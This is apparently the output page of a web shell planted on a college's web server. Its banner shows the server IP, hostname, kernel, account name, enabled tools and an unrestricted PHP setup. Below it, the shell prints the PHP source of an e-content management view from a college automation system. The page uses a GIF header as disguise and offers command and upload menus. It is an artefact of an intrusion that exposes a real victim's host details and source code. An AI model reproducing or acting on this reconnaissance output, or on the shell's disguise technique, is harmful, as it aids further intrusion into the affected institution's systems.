GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 13.58.200.78
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/views/admin/quizzes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/views/admin/quizzes/eContents.php
<!DOCTYPE HTML>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>My E-Contents | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/bootstrap-select.min.css"); ?>" type='text/css'>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery.dataTables.min.css"); ?>" type='text/css' />
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/buttons.dataTables.min.css"); ?>" type='text/css'>
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>">
        <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap-popper.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery.dataTables.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap-select.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/dataTables.buttons.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jszip.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/vfs_fonts.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/buttons.print.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/buttons.html5.min.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body class="cbp-spmenu-push">
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("admin/navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item active">Tasks & Quizzes</li>
                            <li class="breadcrumb-item" aria-current="page"><a href="<?php echo site_url("admin/TasksAndQuizzes/eContents"); ?>">My E-Contents</a></li>
                        </ol>
                    </nav>

                    <section class="forms">
                        <div class="card card_border p-4">
                            <h3 class="card__title"><i class="fa fa-list-ol"></i> E-Content Management</h3><br>
                            <div class="card-body">
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?></strong></div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
                                <?php } ?>
                                <fieldset>
                                    <legend><i class="fa fa-filter"></i>Filters</legend>
                                    <?php echo form_open(site_url('admin/TasksAndQuizzes/eContents'), ['name' => 'fetchEContentFilterFrm', 'id' => 'fetchEContentFilterFrm']); ?>
                                    <div class="form-row">
                                        <div class="form-group col-md-4">
                                            <label for="title" class="input__label">Title/Description</label>
                                            <input id="title" type="text" name="title" class="form-control" value="<?php echo set_value("title"); ?>" placeholder="Enter Title/Description To Search">
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="session" class="input__label">Uploaded In Session</label>
                                            <select id="session" name="session" class="custom-select">
                                                <option value="" <?php echo set_select("session", "") ?>>All Sessions</option>
                                                <?php foreach ($sessions as $session) { ?>
                                                    <option value="<?php echo $session->session_id; ?>" <?php echo set_select("session", $session->session_id); ?>><?php echo stripslashes($session->session_name); ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="subject" class="input__label">Subject</label>
                                            <select id="subject" name="subject" class="form-control selectpicker" data-selected-text-format="count > 1" data-dropup-auto="true" data-live-search="true" onmousedown="if (this.options.length > 2) {
                                                        this.size = 2;
                                                    }" title="Select Subject">
                                                <option value="" <?php echo set_select("subject", "") ?>>All Subjects</option>
                                                <?php foreach ($subjects as $subject) { ?>
                                                    <option value="<?php echo $subject->sm_id; ?>" <?php echo set_select("subject", $subject->sm_id); ?>><?php echo "[" . stripslashes($subject->sm_code) . "]-" . stripslashes($subject->sm_name); ?></option>
                                                <?php }
                                                ?>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="form-group col-md-4">
                                            <label for="startDate" class="input__label">Start Date</label>
                                            <input id="startDate" type="startDate" name="startDate" class="form-control" value="<?php echo set_value("startDate"); ?>" autocomplete="off" placeholder="Enter/Select Start Date">
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="endDate" class="input__label">End Date</label>
                                            <input id="endDate" type="text" name="endDate" class="form-control" value="<?php echo set_value("endDate"); ?>" autocomplete="off" placeholder="Enter/Select End Date">
                                        </div>
                                        <div class="form-group col-md-4">
                                            <label for="dateRangeAppliedWith" class="input__label">Apply Date Range With</label>
                                            <select id="dateRangeAppliedWith" name="dateRangeAppliedWith" class="custom-select">
                                                <option value="CD" <?php echo set_select("dateRangeAppliedWith", "CD") ?>>Creation Date</option>
                                                <option value="UD" <?php echo set_select("dateRangeAppliedWith", "UD") ?>>Last Updated Date</option>
                                            </select>
                                        </div>
                                    </div>
                                    <div class="form-row">
                                        <div class="col-md-12">
                                            <label for="fetchEContents" class="input__label"></label>
                                            <button type="submit" id="fetchEContents" name="fetchEContents" class="btn btn-sm btn-warning pull-right">Fetch E-Contents&nbsp;<i class="fa fa-arrow-left"></i></button>
                                        </div>
                                    </div>
                                    <hr>
                                    <?php echo form_close(); ?>
                                </fieldset>
                                <button class="btn btn-sm btn-primary" onClick="window.location.href = '<?php echo site_url("admin/TasksAndQuizzes/createNewEContent"); ?>'" tooltip="Assign New E-Contents"><i class="fa fa-plus"></i> Create New E-Content</button><br><br>
                                <table id="eContents" class="bootstrap-datatable table-striped table-hover" style="width:100%">
                                    <thead>
                                        <tr>
                                            <th>Sr. No</th>
                                            <th>Title</th>
                                            <th>Description</th>
                                            <th>File</th>
                                            <th>Subject</th>
                                            <th>Course</th>
                                            <th>Session</th>
                                            <th style="display:none;">File Path</th>
                                            <th style="display:none;">Created On</th>
                                            <th style="display:none;">Last Updated On</th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    <tfoot>
                                        <tr>
                                            <th>Sr. No</th>
                                            <th>Title</th>
                                            <th>Description</th>
                                            <th>File</th>
                                            <th>Subject</th>
                                            <th>Course</th>
                                            <th>Session</th>
                                            <th style="display:none;">File Path</th>
                                            <th style="display:none;">Created On</th>
                                            <th style="display:none;">Last Updated On</th>
                                            <th>Action</th>
                                        </tr>
                                    </tfoot>
                                    <tbody>
                                        <?php
                                        for ($i = 0; $i < sizeof($econtents); $i++) {
                                            $record = $econtents[$i];
                                            ?>
                                            <tr>
                                                <td><?php echo ($i + 1); ?></td>
                                                <td><?php echo stripslashes($record->ecm_title); ?></td>
                                                <td><?php echo stripslashes($record->ecm_description); ?></td>
                                                <td><a href="<?php echo base_url($record->ecm_file); ?>" target="_blank"><i class="fa fa-download"></i> View/Download</a></td>
                                                <td style="display:none;"><?php echo base_url($record->ecm_file); ?></td>
                                                <td><?php echo stripslashes($record->sm_name); ?></td>
                                                <td><?php echo stripslashes($record->course_name); ?></td>
                                                <td><?php echo stripslashes($record->session_name); ?></td>
                                                <td style="display:none;"><?php echo date("d-m-Y", strtotime($record->ecm_added_on)); ?></td>
                                                <td style="display:none;"><?php echo date("d-m-Y", strtotime($record->ecm_updated_on)); ?></td>
                                                <td>
                                                    <?php
                                                    if ($record->ecm_active_status == 'T') {
                                                        ?>
                                                        <i class="fa fa-ban" style="color:#FF0000;cursor: pointer;" title="Disable This E-Content" onClick="window.location.href = '<?php echo site_url('admin/TasksAndQuizzes/toggleEContentStatus/' . $record->ecm_id . '/F/' . 'O'); ?>'"></i> 
                                                        <i class='fa fa-edit' style='color:#002166;cursor: pointer;' title="Edit This E-Content" onClick="window.location.href = '<?php echo site_url('admin/TasksAndQuizzes/editEContent/' . $record->ecm_id); ?>'"></i>
                                                        <i class="fa fa-trash" style="color:#FF0000;cursor: pointer;" title="Delete This E-Content" onClick="deleteEContent(<?php echo $record->ecm_id; ?>);"></i> 
                                                    <?php } else { ?>
                                                        <i class="fa fa-check-circle" style="color:#297534;cursor: pointer;" title="Enable This E-Content" onClick="window.location.href = '<?php echo site_url('admin/TasksAndQuizzes/toggleEContentStatus/' . $record->ecm_id . '/T/' . 'O'); ?>'"></i> 
                                                        <i class='fa fa-edit' style='color:#002166;cursor: pointer;' title="Edit This E-Content" onClick="window.location.href = '<?php echo site_url('admin/TasksAndQuizzes/editEContent/' . $record->ecm_id); ?>'" ></i>
                                                        <i class="fa fa-trash" style="color:#FF0000;cursor: pointer;" title="Delete E-Content" onClick="deleteEContent(<?php echo $record->ecm_id; ?>);"></i> 
                                                        <?php
                                                    }
                                                    ?>
                                                </td>
                                            </tr>
                                            <?php
                                        }
                                        ?>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </section>
                </div>
            </div>
        </section>
        <script>
            $(document).ready(function () {
                $("#eContents").DataTable({responsive: true, dom: 'Blfrtip', buttons: [
                        {extend: 'copy', text: "<i class='fa fa-clipboard'></i> Copy"},
                        {extend: 'csv', text: "<i class='fa fa-table'></i> CSV"},
                        {extend: 'excel', text: "<i class='fa fa-file-excel-o'></i> Excel"}
                    ]});
            });

            $(function () {
                var dateFormat = "dd/mm/yy",
                        from = $("#startDate")
                        .datepicker({
                            dateFormat: dateFormat,
                            defaultDate: '0',
                            changeMonth: true,
                            changeYear: true,
                            numberOfMonths: 1
                        })
                        .on("change", function () {
                            to.datepicker("option", "minDate", getDate(this));
                        }),
                        to = $("#endDate").datepicker({
                    dateFormat: dateFormat,
                    defaultDate: '0',
                    changeMonth: true,
                    changeYear: true,
                    numberOfMonths: 1
                })
                        .on("change", function () {
                            from.datepicker("option", "maxDate", getDate(this));
                        });

                function getDate(element) {
                    var date;
                    try {
                        date = $.datepicker.parseDate(dateFormat, element.value);
                    } catch (error) {
                        date = null;
                    }
                    return date;
                }
            });

            function deleteEContent(ecm_id) {
                if (confirm("Are You Sure You Want To Delete This E-Content? Once Deleted The Content Can Not Be Recovered. Click OK To Continue & Cancel Otherwise.")) {
                    window.location.href = '<?php echo site_url("admin/TasksAndQuizzes/deleteEContent/"); ?>' + ecm_id;
                }
            }
        </script>
        <?php $this->load->view("admin/footer"); ?>
    </body>
</html>

KBHT - 2023